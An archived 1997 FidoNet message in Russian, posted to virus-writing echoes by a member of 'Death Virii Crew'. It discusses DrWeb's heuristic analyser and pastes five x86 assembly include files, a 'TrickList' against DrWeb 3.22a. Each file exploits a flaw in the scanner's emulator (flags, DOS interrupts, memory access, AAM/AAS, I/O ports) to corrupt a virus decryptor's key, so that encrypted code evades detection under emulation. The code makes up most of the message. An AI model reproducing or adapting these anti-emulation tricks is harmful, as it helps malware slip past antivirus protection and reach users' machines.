Msg : Prev 2606 / 4681 Next
1997-06-21 13:25:46

To  : Dmitry Mostovoy

Subj:

DrWeb vs AVP


* Crossposted in SU.VIRUS 
* Crossposted in PVT.VIRII 
* Crossposted in DONBASS.VIRUS 
* Crossposted in ADINF.SUPPORT 

Привет Dmitry! 

Смотрю я значит на дисплей, а там - 19 Jun 97 23:42, 
Dmitry Mostovoy пишет к Igor Dikshew, во- думаю, дай чего-нить скажу: 

DM> Это и так всем известно. Гораздо интереснее было бы протестировать то, 
DM> что явно не известно. Hапример, качество эвристиков. 

качество эвристика web'a совершенно не поменялось с 3.20 версии. 

=== Cut === 
■ Сие файло было автоматически сгенерено by BATalia8.AutoCheck 
======================== TRICK.INC =========================== 
; TrickList for drweb 3.22a (c) Reminder (1997) 

; Стартовые значения: 
; bx - значение ключа расшифровки 
; ax,si - неиспользуемые в расшифровщике регистры 

include trick_1.inc ; ■ Full Checked 
include trick_2.inc ; ■ Full Checked 
include trick_3.inc ; ■ Full Checked 
include trick_4.inc ; ■ Full Checked 
include trick_5.inc ; ■ Full Checked 
======================== TRICK_1.INC =========================== 
; trick_1 for drweb 3.22a (c) Reminder (1997) 

; Hеспособность нормально эмулить внутренние команды проца. 

xor ax,ax 
push ax 
popf 
pushf 
pop ax ; web возвpащает 0, вместо 2 
sub al,2 
add bl,al 
======================== TRICK_2.INC =========================== 
; trick_2 for drweb 3.22a (c) Reminder (1997) 

; Hеспособность эмулить програмные прерывания 

push es bx 
mov ax,351eh 
int 21h 
mov al,byte ptr es:[bx+3] ; web возвpащает 0, вместо 2 
pop bx es 
sub al,2 
add bl,al======================== TRICK_3.INC =========================== 
; trick_3 for drweb 3.22a (c) Reminder (1997) 

; Hеспособность эмулить обращения к памяти. 

push ds 
mov ax,060h 
mov ds,ax 
add bx,ax 
mov ds:[0],ax 
sub bx,ds:[0] ; web возвpащает 0 вместо 60h 
pop ds 
======================== TRICK_4.INC =========================== 
; trick_4 for drweb 3.22a (c) Reminder (1997) 

; Hеспособность нормально эмулить внутренние команды проца. 

sub ax,ax 
dec ax 
aam ; web не снимает A flag, а надо 
aas 
add bx,ax 
sub bx,1905h 
======================== TRICK_5.INC =========================== 
; trick_5 for drweb 3.22a (c) Reminder (1997) 

; Hеспособность эмулить порты 

in al,2 ; web возвpащает не 0, а надо 0 
add bl,al 
=== Cut === 


С бестовыми регардами , Kostya Volkov aka Reminder 

.' [Death Virii Crew] [Crematorium fans Team] [WW] `. 

--- 
* Origin: chaos a.d. (2:4631/17) 
VX Heavens - коллекция вирусов,исходников и статей.
Сообщения можно выбирать стрелками Enter
Пользовательского поиска